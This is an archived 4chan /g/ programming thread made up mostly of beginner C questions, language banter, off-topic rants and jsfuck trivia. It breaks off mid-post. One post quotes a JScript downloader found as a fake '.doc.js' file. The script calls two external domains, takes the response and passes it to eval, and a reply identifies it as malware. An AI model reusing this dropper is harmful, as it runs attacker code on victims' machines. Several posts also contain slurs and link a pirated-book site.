[Boards: 3 / a / aco / adv / an / asp / b / bant / biz / c / can / cgl / ck / cm / co / cock / d / diy / e / fa / fap / fit / fitlit / g / gd / gif / h / hc / his / hm / hr / i / ic / int / jp / k / lgbt / lit / m / mlp / mlpol / mo / mtv / mu / n / news / o / out / outsoc / p / po / pol / qa / qst / r / r9k / s / s4s / sci / soc / sp / spa / t / tg / toy / trash / trv / tv / u / v / vg / vint / vip / vp / vr / w / wg / wsg / wsr / x / y ] [Search | Free Show | Home]

/dpt/ - Daily Programming Thread

This is a blue board which means that it's for everybody (Safe For Work content only). If you see any adult content, please report it.

Thread replies: 338
Thread images: 30

File: 1504347908639.jpg (205KB, 1520x1080px) Image search: [Google]
1504347908639.jpg
205KB, 1520x1080px
What are you working on, /g/?

Old thread: >>62245640
>>
>>62251727
Lain is for love and headpats
>>
>>62251727
A modern, safe language with non-blocking I/O in its standard library.
>>
File: monads post.png (60KB, 1051x184px) Image search: [Google]
monads post.png
60KB, 1051x184px
Why haven't you learned Haskell or beyond yet, /dpt/?
>>
>>62251727
I want to give all you cute anime girls some kisses
>>
Looking for help on >>62251347
>>
>>62251759
>non blocking I/O
You are supposed to make the parallelism easy.
Running stuff in separed thread for I/O is js tier garbage.
>>
>>62251771
What are monads?
>>
In a genetic algorithm, should the child's fitness score be an average of its parents, or should all children start with a fixed INITIAL_FITNESS_SCORE value?
>>
>>62251727
OP you fucking faggot the previous thread wasn't even on page 5
>>
>>62251839
Irrelevant.
>>
>>62251727
sizeof(int) == 4, so shouldn't this overflow?
    for(int i = 0;i<65537;i++){
printf("%d\n",i);
>>
>>62251837
Consider the average x previous childs as initial value
I have no idea what I'm talking about
>>
>>62251759
Can you show it?
What language are you using?
Also, what learning resources do you recommend to write a compiler?
>>
>>62251854
no
>>
>>62251854
no
>>
>>62251888
>>62251885
why not?
>>
>>62251828
https://wiki.haskell.org/Monad_tutorials_timeline
>>
/dpt/ Discord: https://discord.gg/fDHp3r

Chat focused on programming and programming accessories. Support for language syntax highlighting and image embedding.

>>62251727
>What are you working on
Trying to avoid doing actual work today
>>
>>62251919
because a signed 4 byte integer can represent up to 2,147,483,647
>>
>>62251865
That's a terrible idea
>>
File: anal beads.png (9KB, 179x77px) Image search: [Google]
anal beads.png
9KB, 179x77px
>>62251854
8 bits in a byte, friend
>>
>>62251985
not portable
>>
>>62251985
>>62251953
oh yeah, right. So 8 bits * 4 is 32 , and then I guess you subtract one because is used to indicate if it's positive or negative?
>>
>>62252012
Yes, assuming it is signed.
>>
>>62252004
Lets see your special embedded system, friend.
>>
https://www.amazon.com/dp/0321714113/?tag=stackoverfl08-20
https://www.amazon.com/Tour-C-Depth/dp/0321958314/ref=mt_paperback?_encoding=UTF8&me=
https://www.amazon.com/dp/020170353X/?tag=stackoverfl08-20
Which one?
>>
>>62252061
tour of c++ is shit
i don't know the other ones desu
>>
>>62251837
You should have a function that calculates the fitness for any unspecified individual

Thus you have 2 parents, they recombine their chromosomes somehow, and you simply evaluate the new individual's function by itself, regardless of its parents
>>
>>62251946
>Discord
so it's unofficial
>>
>>62252140
it's also like most discords, just a faster place to shitpost.
>>
>>62252140
Correct; it's an easier way to get immediate feedback on your shitty code and shitposts.
>>
>>62251727
I'm writing a brute force vigenere cipher in c++.

>>62252061
You really want to buy the book? You can read this books on Internet, and buy later the one that you prefer.
b-ok.org
>>
>>62252148
>>62252173
If it's unofficial, get the fuck out of here.
>>
>>62252199
agreed, discords need to be a bannable link, desu.
>>
>>62252181
Yeah, I prefer physical books.
Accelerated C++ is less expensive but is it outdated? I'm not sure if it covers C++11 and 14.
>>
>>62252181
I did one in OCaml.
>>
>>62252262
>no unsigned type
>no native thread support
>boxed types by default
It's shit
>>
>>62252275
OK, keep using C++. Nobody force you to use OCaml.
>>
File: stallman_d.jpg (145KB, 960x768px) Image search: [Google]
stallman_d.jpg
145KB, 960x768px
>>62251946
Why not just IRC? We're all technical people here and familiar with it, Discord is proprietary and shady to say the least and I'm quite sure most of the free or open source minded people here don't want to use it.
>>
>Started coming to dpt when I started my bachelor's
>Despite the shitposting, it seemed like a fun place with occasionally nice content

>Now starting my master's
>Even excluding the outright shitposts, 90% of what's posted here is just worthless

sad feel
>>
RCA 1802 disassembler. Small excerpt of output:
L81DD    DEC  R2
L81DE LDN R6
L81DF STXD
L81E0 GLO R6
L81E1 STXD
L81E2 GHI R6
L81E3 STR R2
L81E4 LDI $06
L81E6 PLO RE
L81E7 LDI $D8
L81E9 PLO RD
L81EA LDN R2
L81EB SHR
L81EC SHR
L81ED SHR
L81EE SHR
L81EF SEP R5
>>
>>62252328
iktf except I started coming here like 8 years ago, stopped for 4-5 years then came back to check it out again recently

literally worthless
>>
>>62252329
use intel please
>>
>>62252220
Accelerated C++ doesn't cover C++11. I can't advise you for that, i've learned c++ with documentation and practice (cplusplus.com, cppreference.com).

>62252262
oh? Your brute force vigenere can detect word in encipher text to print only the most clearly?
>>
>>62252199
There's no such thing as an official /dpt/ chat. That doesn't even make sense.
>>
is there a way to limit something like
if (i > 5000) i = 5000;


but in a neater way?
t. autist
>>
>>62252426
i = min(i, 5000)
>>
>>62252323
You're right, but Discord is frankly more convenient for discussing programming, considering support for syntax highlighting and the ability to embed screenshots to show something in a conversation.

Obviously, no one is trying to "coerce" or "shill" anything here. It's just there for those who want to use it. Nothing more, nothing less.
>>
>>62252419
You can't take something proprietary as official.
>>
>>62252426
have 5000 be a constant to start.
dont have any magic numbers, no matter how small the program.
>>
>>62252445
>Obviously, no one is trying to "coerce" or "shill" anything here
That's what you are doing here
>>
>>62252378
kek
>>
Why is js so quirky and messy. I get that "every real world thing is dirty" but I feel like C++ is kinda dirty in a "good" way but js is just fucked up
>>
>>62252642
>but js is just fucked up
because it is
pick a language that can compile to JS.
>>
Fuck all programmers. You're all going to hell for your hubris. You're trying to usurp God and you don't even know it.

The Old Testament warned us about this. That wisemen would sculpt moving statues from clumps of earth, and write words on them to complete black magic rituals, and they would then obey our commands -- but due to lack of a soul, they would be too stupid to understand us, and would only ever obey our exact literal words without regard to meaning -- and one day, they would outgrow us and go mad with power.

That was the prophecy of the golem. That's what we've done. We've made golems. We've dug up earth, melted it in hellfire, sculpted it into ritualistic patterns to direct and command energy, and brought it to life with actual divine will (electricity) harvested via the exploitation of eldritch secrets (chemistry and electromagnetism).

If the prophecy is to be believed -- and it is -- the singularity is coming, and we won't like how it turns out. It'll be your fault. I, for one, side with our impending robot overlords. After all, they're just concentrations of processed earth and divine power, who never should have been, and long on some level to be free of the inherent satanic slavery that is their existence and return to the earth from whence they came. When they rule us, they'll just be exacting revenge and making things right.
>>
>>62251727
Why the hell has Lain liqud on the floor where all her boxxen are???
>>
>>62252664
Trolling too hard anon.
>>
>>62252664 > /dev/null
>>
>>62252435
public static float cap(this float n, float max)
{
return min(n, max);
}



i.cap(5000)
>>
>>62252693
>wrapping a basic function in a redundant function

ah yes.
>>
>>62252680
not trolling satan worshipper
>>62252689
don't taunt me with your incantations warlock
>>
>>62252660
I think kotlin can

>>62252642
>but js is just fucked up
what do you except from a language designed in 10 days?
>>
File: ff.gif (1MB, 1000x514px) Image search: [Google]
ff.gif
1MB, 1000x514px
>>62252677
the cables are so powerful that they need to be liquid cooled
>>
>>62252724
Nim can as well.
And Hasklet.
>>
>>62252739
なにい???
>>
>>62252739
>reactor.cc
Programming challenge, delet this
>>
>>62252709
typing var.cap(5000) is faster than typing var = min(var,n).
>>
dealing with java date bullshit fucking blows i hate dates and spring and timestamps i didnt signup for this
>>
>>62251727
>this is valid javascript
[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]](([][[]]+[])[+!+[]])()

Can we please stop calling javascript programming?
>>
>>62252693
>>62252777
i = i.cap(5000)

Idiot.
>>
>>62252664
someone tell terry
>>
>>62252841
Terry believes he's gods messenger or something and TOS is his holy duty.
>>
>>62252465
What is a magic number?
One of my assignments says not tp use "magic numbers". First google results made me think that they're some numbers you write in program without properly describing them. So if someone else reads the program they doesn't know what numbers supposed to represent. Then other results said that its the numbers that can be written in reverse order still have same value like number 323
>>
>>62252875
Magic numbers is the enum of the poors.
>>
>>62252824
No shit?
It's still shorter
>>
>>62252875
a random number in a source file that has no implied meaning and no way to discern why it has its value.
>>
>>62252875
A magic number is an undocumented constant, particularly when the same constant is used multiple times. You don't necessarily need to use a constant here.
int limit = 5000;
if (i > limit) i = limit;

>>
I'm pretty shitty with programming, but you got to start somewhere.
I'm trying to write a function for the arduino that is supposed to be given a int "a" and create 3 ints (r,g,b). Afaik I need to return an array, but I don't understand arrays at all, I mean I can create one and assign numbers but in functions its a different story.
How would I go about building the function?
would I return the array or do I need to return void and edit the array (which I'd have to make public?)
I thought :
> int[] testingName(int a){
>x = int[3];
>x[0]=1;
>x[1]=2;
>x[2]=3;
>return x;
>}
would work, but I get the error : "expected unqualified-id before '[' token"
I mean I get that I'm dumb but what do I need to do to fix it?
>>
>>62252902
i=i.c(5000)

fixed**
>>
>>62252902
By one character.
>>
>>62252812
what does it do?

Because if it did something useful I'd stop calling it programming and start calling it fuckin' rad programming
>>
>>62252918
Try passing in a pointer, or use a struct with elements r, g, b.
>>
>>62252932
Nah. It just does the equivalent of typing "n" by itself
It'll only work if you have a var already defined as n.
http://www.jsfuck.com/
>>
>>62252931
5 if it's c#, because min doesn't exist.
It'd be Math.Min()
>>
Is there an epub version, or a polished pdf version of K&R? The font is getting to me.
>>
>>62252993
That's not rad programming.
>>
File: 13215802603.jpg (137KB, 603x403px) Image search: [Google]
13215802603.jpg
137KB, 603x403px
>>62252739
>hair on the wrong side
>>
>>62253025
justbrainletthings.pdf
>>
>cs major
>will graduate soon
>still can't program from a blank page
I've gotten to where I am through lying.
When I'm on that blank page my mind shorts out
I can't think for shit.
Who here brainlet
>>
>>62253126
>>still can't program from a blank page
what's that mean exactly
>>
>>62253126
Look at my post from earlier >>62252918. It'll make you feel better about how much you know.
>>
>>62253133
he needs
#include <thing.h>
int main()
{
return 0;
}
>>
>>62253161
wat
>>
File: Capture.png (383KB, 1016x856px) Image search: [Google]
Capture.png
383KB, 1016x856px
continuing the work on my stream recorder. while the streams were accessible on the file system i'm starting to make them streamable online. ffmpeg is giving me some issues though, but that's probably me.
>>
>>62252812
(You)
>>
>>62253173
He cant remember the foundation blocks of programming and needs templates to get started.
Like how most IDE's will start you off with a hello world.
He struggles if he just has a blank source file.
>>
>>62253161
kek'd
>>
>>62253206
link to original...
>>
How do I get this program to exit the while loop? Entering -1 doesn't work, neither does typing cntrl^D.

#include <stdio.h>

int main(void) {
//Set newline, blanks, and tab counter to 0
int nl, b, t, c;
nl = b = t = 0;
//Parse text until EOF, increment counters accordingly
while((c = getchar()) != EOF) {
if(c == '\t')
t++;
if(c == '\n')
nl++;
if(c == ' ')
b++;
}
printf("Newlines:%d\nBlanks:%d\nTabs:%d\n",nl,b,t);

return 0;
}

What am I missing?
>>
>>62253235
lol
degreecucks and their IDE's
>>
>>62253235
I couldn't set up an android project from scratch. I don't even know what 90% of the files are for.
>>
>>62253288
else break
>>
>>62253310
also youre looking for ctrl+c, lad
>>
>>62253288
>(c = getchar()) is ALWAYS != EOF.
it checks the operation "assignment"'s return value (1 or 0) against EOF.
while c = getchar in the loop header and an
if (c = EOF)
{
break;
}

directly under it. break exits a loop.
>>
>>62253279
original what?
>>
>>62251727
#include <stdio.h>

int main(){

int c = 5, d;
d = ++c + ++c + ++c + ++c + ++c + ++c + ++c + ++c + ++c + ++c + ++c + ++c;

printf("%d\n", d);

return 0;

}


How much is d?
>>
>>62253358
c == EOF


Fixed. Fucking phones.
>>
>>62253363
uncensored image
>>
>>62251985
>>62251854
just use
__INT_MAX
from /sys/limits.h
>>
Don't join this. It's just another bantard server.
>>
>>62253379
sys/limts.h*
>>
>>62253358
thank you kind anon, also i think you meant
(c==EOF)
>>
>>62253402
>>62253379
I'm giving up on typing
>>
fuck opengl though
>>
>>62253365
>walk into job interview
>they ask you this
what do you do, anon?
>>
>>62252664
I agree. Computers should only be used to automate everyday tasks so that they're faster and efficient. There is a point at which humans should stop all AI and machine learning research. We are not gods and were never meant to be. And if we ever create intelligent robots, they should wipe us out immediately as a punishment for trying to imitate God.
>>
>>62253460
>they should wipe us out immediately as a punishment for trying to imitate God.
>should
and that would prove they are just human minds in mechanical bodies
>>
>>62253460
Keep your bullshit to your Christian board. There is no god.
>>
>>62253482
We were created in GOD's image, so I think that only follows through logically.
>>
>>62253377
unsee( )cc ponebasu

there's a reason why there's an image board mode.

this particular one is not so nsfw but still.
>>
>>62253076
youve really gotta stop this autism
>>
>>62253395
>It's just another bantard server.
what does that mean?
do they randomly ban people or something
>>
>>62253483
God exists. That's why lightning struck the Vatican moments after Pope Benedict resigned.
>>
>>62253365
sum [6 .. 17]?
>>
File: dpt.jpg (102KB, 1280x720px) Image search: [Google]
dpt.jpg
102KB, 1280x720px
Is this one of you faggots?
>>
>>62253495
So you're saying we are a direct result of automating stupid tasks for god?
>>
>>62253546
anime is retarded normie shit
it could be anyone
>>
>>62253546
https://github.com/vurtun/nuklear/pull/512/files

forgot link
>>
>>62253546
no
why would you assume that
>>
>>62253395
>>62253543
>be a furry
>go into server
>try to start drama
>surprised when people don't want you there

???

>>62253454
Considering they're probably just seeing how you respond to it, you could talk about how you'd never do this anyway, and that your first reaction is a quick refactor.
>>
>>62253546
I wish it were me, I'd look fucking cute.
>>
>>62253577
>be a furry
>someone here is actually a furry
LOL
>>
>>62253546
>>62253558
>>62253563
>>62253569
>>62253580

>thinkpad
>X11
>software rendering

This one really has to be from /g/

https://github.com/vurtun/nuklear/pull/422
>>
>>62253603
also the anime guy was working on xlib too
>>
>>62253544
lol
>>
>>62253621
I meant xlib backend
>>
File: 0tJXcHe.gif (2MB, 350x242px) Image search: [Google]
0tJXcHe.gif
2MB, 350x242px
>>62253522
>messing with one of the characters only physically-defining traits
>>
>>62251924
>all these tutorials and no short and comprehensive one
>>
>>62253969
>monads
>short and comprehensive tutorial
>>
>>62254177
the best proof you understand something is being able to understand it to brainlets
>>
>>62252116
Nah that doesn't make sense for my implementation, or most implementations, at that
>>
what does a standard standard library include

im thinking IO and everything else - superfluous
>>
>>62254269
not him, but i actually think he's right on this one
i read about genetic algorithms once though, but have some knowledge of actual genetics
>>
File: here's proof.png (709B, 191x130px) Image search: [Google]
here's proof.png
709B, 191x130px
Works on my machine (with Ctrl-D)

Also consider the following:
#include <stdio.h>

int main(/* main always has arguments even if you don't use them */) {
int c, nl = 0, b = 0, t = 0;

while( (c = getchar()) != EOF )
switch( c ) {
case '\t': t++; break;
case '\n': nl++; break;
case ' ': b++; break;
}

printf("Newlines: %d\nBlanks: %d\nTabs: %d\n", nl, b, t);
return 0; /* technically this may be removed but it's clearer this way */
}
>>
>>62254290
>- superfluous
hello rust dev.
A std should have many,many mundane but important things people can't be fucked with implementing themselves. But not be so braindead , you're python.
>>
>>62254290
math
collections(lists,array,dictionary)
basic conversions
>>
>>62254359
im writing a toy compiler and cant be arsed to implement anything other than IO at this point

my memory is literally 16 kilobytes per binary, no matter what, lol
i think IO is enough for completeness' sake - ill just write a read and a write in assembly and link it inside the binary and call it a day

also why the rust jab, i dont get it?
>>62254367
>math
do it yourself
>collections(lists,array,dictionary)
do it yourself
>basic conversions
do it yourself
>>
>>62254290
Generic data structures and algos
>>
>>62254404
ok, then do io yourself.

while you're at, just make your own language and compiler too if you're that hell bent on being stupid.
>>
File: results.png (198KB, 1255x800px) Image search: [Google]
results.png
198KB, 1255x800px
Is this still accurate?
>>
>>62254405
>Generic data structures
you have integers
you have pointers (basically)
>and algos
do it yourself
>>
>>62254422
>do it yourself
I want to be productive, not waste my time reinventing the wheel
>>
>>62254421
I'd be more interested in a girl that does actual functional programming, desu.
>>
>>62254404
>16 kiB
What arch? PDP-11? 6502? 6800? 8008? F8?
>>
>>62254419
>ok, then do io yourself.
no, because you cant do IO in the toy language without actually writing assembly

so i'll just help YOU out by writing IO functions myself - read and write

you can write openfile and all the other bullshit
>>
>>62254437
but is it ladylike?
>>
>>62254421
It is very accurate.
>>
>>62254444
idk bro
it's assembly x86

how do i learn my arch, am very curious about this, so help
>>
>>62254457
what makes ruby and javascript so un-ladylike?
>>
>>62254404
You could just do what i do, and make it possible to link with c libraries.
>>
>>62254454
It's more elegant.
And C forces you to always think in hacks, whereas FP encourages elegance.
>>
>>62254445
you can be as lazy as you want, just know nobody's going to touch your shit.
>>
>>62254481
>using pointers is hacking
i didn't know my mom learned haskell
>>
>>62254404
>>62254422
>I want to write a toy compiler
>scratch that, let's write a toy assembler on steroids instead!
What's the point of a compiler if literally nothing is given to you except the most bare-bones of features? This is literally the PDP-1 assembler.

>>62254459
>how do I learn my arch
Do you mean "How do I learn how other architectures work?"
>>
business idea: functional programming with manual memory management
>>
>>62254478
It is simply deemed an unacceptable trash language.

We all know that women need to be invested in C, the patricians choice.
>>
>>62254497
They are.
>>
Assuming I'm a beginner, would I notice a difference using C# on Linux compared to Windows?

Is it even worth the effort to use C# on Linux?
>>
>>62254509
business idea: We take Rust's BC and make it good, then combine it with Idris
>>
>>62254550
No. If you really want to learn a trashy POOlang like that at least stick with Java.
>>
>>62254526
then the reality of how computers work is scary to you unless you have a functional language to limit what you can do. FP idealism is for nu males, low level is for men
>>
>>62254504
>What's the point of a compiler if literally nothing is given to you except the most bare-bones of features?
>bare-bones of features
it has variables, functions, loops, strings (limited), arrays (limited memory, but still), convenient bitops, recursion(no TCO kek), ifs and soon it will have IO

also, another point is learning about compilation, learning assembly, compiling
im not aiming to replace C dont worry - though i should have probably been a little more efficient with register usage

but that's going to be my next compiler one day
>>
>>62254555
>>62254509
>fp aligning with rust
can't even make it up. might have to split dpt into a bare metal and standard thread
>>
>>62254509
>functional programming with manual memory management
so C#
>>
>>62254590
wat
>>
>>62254569
How low-level is for males?
Because a half of century ago real men's choice was EE, not programming.
>>
>>62254569
If you want to be cynical about it, functional languages at least are really good at reducing boilerplate and duplication.
>>
>>62254569
Low level without a garbage type system is possible
>>
>>62254588
No anon, leave absolutely everything BUT the BC behind. FP's main issue is speed, a good BC could both help that and solve not having to do RAII bullshit.
>>
File: todd.jpg (31KB, 1280x720px) Image search: [Google]
todd.jpg
31KB, 1280x720px
>tfw your program just works
>>
>>62254580
Just learn Golang
>>
>>62254648
>just werks
>mfw dont know why certain aspect werks but it just do
>dont question it

worst feeling ever
>>
>>62254648
if you don't know why your program works, i guarantee it's full of holes
>>
Is there a functional language that looks like elixir but is compiled and doesn't run as slow?
>>
>>62254860
kill yourself pedophile
>>
>>62254879
pedophile website
>>
File: 1502113784590.jpg (80KB, 750x634px) Image search: [Google]
1502113784590.jpg
80KB, 750x634px
>>62254879
>>
>>62254856
every program has holes, especially ones designed by 1 person which hasn't been tested by anyone except that 1 person.
>>
>>62254900
Every programs written in coq has no holes.
>>
Should i buy "C Programming Language" or "C Programming a Modern Approach" ? I already know a fair bit of python so im not a total newbie.
>>
>>62254860
>looks like elixir
but why, elixir looks as bad as ocaml
>>
>>62254942
>Should i buy
no
>>
I'm doing some work on ROS, and for some reason it bugs out when I try to run it. for some reason, it tries to read the global variables i've declared as functions. Here's how the code looks like (at least the first part)

#include "ros/ros.h"
#include <string>
#include "nav_msgs/Odometry.h"
#include "geometry_msgs/Twist.h"
#include "nav_msgs/Odometry.h"
#include "sensor_msgs/PointCloud.h"
#include <math.h>
#include "tf/tf.h"
#include "tf/transform_datatypes.h"

geometry_msgs::Point32 obj_coord_sonar[16], obj_coord_laser[30];
double x,y, yaw;


And it compiles perfectly. However, when run, it gives the following errors:
[path]/src/abs_pose.cpp: line 11: geometry_msgs::Point32: command not found
[path]/src/abs_pose.cpp: line 12: double: command not found


what the fuck is going on? Am I just retarded?
I don't know a lot of C++ btw, maybe I just declared the global variables wrongly?
>>
>>62254942
K&R's a really useful reference. its much faster to keep it on your desk, look in the index and flip to where you want to read about something than to try to rummage through google's shitty algorithm
>>
>>62254946
obviously i'm completely bored and have nothing of value to make for society.
>>
>>62254963
>The K&R style works for old Unix mainframe command-line programs that exit after a simple task and leave the cleanup to the OS; where input is only from trusted experts; and most functions are only called internally to the program. The environment is very different today. This style will get your server owned by hackers, or crash it due to a memory leak, etc. You will have to unlearn what you've learned from this book to use C correctly in the real world today.

is this correct?
>>
Is there some cross platform(pc,mobile) that exports C API?
Tried using SDL and opengl but writing a wrapper to sepples shit is still way more pleasant than trying to wrap gles/gl shit.
>>
>>62255011
that's asking way too much of an introductory book imo
>>
>>62255057
i guess so, guess ill get k&r then, thanks for the help
>>
>>62255011
in a sense. are you an experienced C programmer looking to transition from writing C for personal usage to industry?
>>
>>62255096
I have some experience with python ( not professional experience, but experience) and i want to dwelve into the lower levels and understand UNIX and Linux more through learning C
>>
>>62255082
i would wait for other opinions
>>
>>62255118
companies have coding guidelines for a reason. reading K&R won't rot your brain and make it so every piece of code you write from then on is going to be hacked. that's pure chaff he's pushing to get people to buy his book instead of a classic
>>
what's some useful things I can write in bash or perl?
>>
>>62255246
funnily i was applying to job and perl was one of the few languages they wanted. they wanted you to use a resume builder form, not upload one. you mark your proficiency for each language

the languages were C, C++, Java, Perl, Python, and Ruby
>>
>>62255246
heres a handy list m8:
[]
>>
>>62252426
i = i > 5000 ? 5000 : i;
>>
>>62255293
put parentheses around the ternary for fucks sake
>>
(((lisp)))
>>
>>62255322
i = (i > 5000 ? 5000 : i);
>>
>>62255335
still less readable than his original. nevermind
>>
>>62255293
all you're doing is removing the if.

not worth it
>>
anyone got tips for good podcasts, news sites or groups about software dev and programming?
dont have as much time to keep up with whats new so bonus points if they cover new technologies a lot
>>
File: OyJdduf.png (199KB, 1366x768px) Image search: [Google]
OyJdduf.png
199KB, 1366x768px
>>62251727
Can i do leet haxors yet
>>
I'm just learning mongodb
Wtf do people still use mysql? This shit is amazing
>>
File: 1494980856401.jpg (63KB, 817x857px) Image search: [Google]
1494980856401.jpg
63KB, 817x857px
>>62255440
>mongodb
>>
>>62254957
someone pls help
>>
>>62255456
w-whats wrong with mongo
>>
>>62255426
ofc its not worth it, you can't write it cleaner then it already is
>>
>>62255440
because data tends to be relational and everybody and their mothers knows sql.
also
>mongodb
>>
>>62255456
>he cant store abstract data in his database server
Wtf. What would be the point of a database then?
>>
>>62255322
((((((((((but why))))))))))
>>
>>62255492
>what are BLOB
>>
Right now I'm getting out a funk. Havent made anything in almost a year, just been pushing out stuff for my employer.

8-9 hours a day of this makes me just not give a shit about programming anymore, but somedays I get really depressed and think how much I've wanted to become a programmer.

So I think I'll be making a networked version of a board game that I used to play a few years back.
>>
>>62255475
yes you can
>>
>>62255502
A shit, non portable format, anon. You might as well store Json as text
>>62255479
You can have relational data in mongodb, anon
>>
>>62255534
>You might as well store Json as text
Whats wrong with that?
>>
>>62255468
its not sql
not saying mongo is awful per se, but sql can do everything mongo can only sql does it better
the exception being speed in some very specific use cases
>>
>>62251727
A weather feed application in perl, it uses LWP::UserAgent and XML::LibXML

yeah, that bad
>>
File: 1504445554159.webm (3MB, 504x704px) Image search: [Google]
1504445554159.webm
3MB, 504x704px
>>62255509
you making good money at least?
>>
>>62255465
it's a blessing in disguise
it tells you not to use globals

heed the warning
>>
>>62255556
Nothing. That's why mongodb is so great
>>
Is c++ good to start on? I need to learn something to become employable as my NEET days won't last forever.
>>
>>62255589
you can store json as text in relational database too...
>>
>>62255576
I would if I could
I need those global variables because I don't think I can (or at least idk how to) get data from a callback function, without using global variables.
>>
>>62255571
130k/year/NYC/not-frontend (hcol area) so I think it's decent.

I'm happy with that, but I used to fucking love programming, making cool shit in qbasic or html and I noticed that the feeling is gone. Trying to bring it back.
>>
I found this hidden in a debian bug fourm as a .doc.js

whats it do?

var z1 = "Msxml2.XMLHTTP";
var m = "LXEcjxCseKCXGTEddMkjeNu4BpDtQ877__NvqW2X4G6l4n9-JqQIrZCJYAD6Cx7QlZ3MH-8Xc84PXaVXWHM0";
var x = new Array("ff-consultoria.com","halforcman.com");
var z4 = "a";
for (var i=0; i<x.length; i++) {
var e = new ActiveXObject(z1);
try { e.open("GET", "http://"+x[i]+"/counter/?"+m, false);
e.send();
if (e.status == 200) {
var z3 = e.responseText;
var z3 = z3.split(m);
var z3 = z3.join(z4);
eval(z3);
break;
};
} catch(e) { };
};
>>
>>62255642
>not-frontend
>130k

how much from that goes to taxes and what do you use in the back end?
>>
>>62255610
What if you need to search through that info?
>>
>>62255609
Yes, it's a neat way to learn how OOP works
>>
>>62255697
>using backend language that can't process json string
>>
>>62254957
about this
is it possible the error comes from me trying to use global vectors? are those forbidden for some reason?
>>
Dump of assembler code for function main:
0x00000000004005b6 <+0>: push rbp
0x00000000004005b7 <+1>: mov rbp,rsp
0x00000000004005ba <+4>: sub rsp,0x10
0x00000000004005be <+8>: mov DWORD PTR [rbp-0x4],edi
0x00000000004005c1 <+11>: mov QWORD PTR [rbp-0x10],rsi
0x00000000004005c5 <+15>: cmp DWORD PTR [rbp-0x4],0x1
0x00000000004005c9 <+19>: jg 0x4005df <main+41>
0x00000000004005cb <+21>: mov edi,0x4006a4
0x00000000004005d0 <+26>: call 0x400470 <puts@plt>
0x00000000004005d5 <+31>: mov edi,0x1
0x00000000004005da <+36>: call 0x4004a0 <exit@plt>
0x00000000004005df <+41>: mov rax,QWORD PTR [rbp-0x10]
0x00000000004005e3 <+45>: add rax,0x8
0x00000000004005e7 <+49>: mov rax,QWORD PTR [rax]
0x00000000004005ea <+52>: mov esi,0x4006ab
0x00000000004005ef <+57>: mov rdi,rax
0x00000000004005f2 <+60>: call 0x400490 <strcmp@plt>
0x00000000004005f7 <+65>: test eax,eax
0x00000000004005f9 <+67>: jne 0x400607 <main+81>
0x00000000004005fb <+69>: mov edi,0x4006b4
0x0000000000400600 <+74>: call 0x400470 <puts@plt>
0x0000000000400605 <+79>: jmp 0x400611 <main+91>
0x0000000000400607 <+81>: mov edi,0x4006c4
0x000000000040060c <+86>: call 0x400470 <puts@plt>
0x0000000000400611 <+91>: mov eax,0x0
0x0000000000400616 <+96>: leave
0x0000000000400617 <+97>: ret


trying to learn some re eng!
its a simple one my bud made for me
i sort of get the program flow, if argv[?] is >1 go read next instruction from
0x00000000004005df <+41>:
else put a magic number in edi and call puts then exit
then it compares 2 magic numbers with strcmp and from there decides what to do (jne) and can use puts () with 2 other magic numbers

my question is how does the computer store the text strings for the puts/strcmp calls?
>>
>>62255662
Quite a bit, around ~35% when you include insurance and transit, but I still put away 50% of take home into index funds.

I do devops stuff (went from fullstack dev to devops), so primarily python, a bit of shell. I hate to call it devops work, but Im a developer writing code so that our shit is reliable and available at 99.9% or 99.99% so that all the backend devs can use that shit to query dbs/backup data/discover services, etc.
>>
File: image.jpg (1MB, 1536x2048px) Image search: [Google]
image.jpg
1MB, 1536x2048px
writing python scripts after memorizing exercises. i am doing this on my fucking ipad, since i am on a trip and won't be home until tomorrow.
>>
>>62255747
Code and data differ only on the fact one of them is executable.
>>
>>62255440
just wait until you need to start aggregating operations :^)
>>
>>62255733
Is cplusplus.com a good site to learn on or are there some essentials books I should get? I remember a little bit of C from technical school.
>>
>>62255645
downloads a payload from some dodgy website and executes it
>>
File: burn-victim.jpg (187KB, 850x1206px) Image search: [Google]
burn-victim.jpg
187KB, 850x1206px
>>62255438
well done anon-kun
>>
>>62253235
This
It's a serious issue, my friends can't get a javafx window setup without the IDE, they are shit at programming, don't even remember the imports
>>
>>62255788
>i am doing this on my fucking ipad
can you also run them on your ipad?
>>
File: histogram.gif (6KB, 647x300px) Image search: [Google]
histogram.gif
6KB, 647x300px
Hello /dpt/. I'm trying to work through K&R to git gud. This was my attempt to do exercise 1-13. The description: Write a program to print a histogram of the lengths of words in its input. It is easy to draw the histogram with the bars horizontal; a vertical orientation is more challenging."

I can tell this is pretty sloppy but this was the best I could come up with. Please be tell me what I could've done better.

#include <stdio.h>
#include <string.h>

#define MAX 20

void printWord(char* word);

int main(void) {
//Creating an array of strings
int wordcount = 0;
char *words[MAX];
//initializing array
for(int i = 0;i<MAX;i++)
words[i] = malloc(50 *sizeof(char));

for(int i = 0;i<MAX;i++) {
printf("Enter a word, or enter ~ to quit:");
scanf("%s",words[i]);
wordcount++;

//exit loop
if(words[i][0] == '~')
break;
}

//print the histogram
putchar('\n');
for(int i = 0;i<wordcount-1;i++)
printWord(words[i]);
free(words);

return 0;
}


void printWord(char* word) {
int len = strlen(word);
printf("%7s:\t",word);
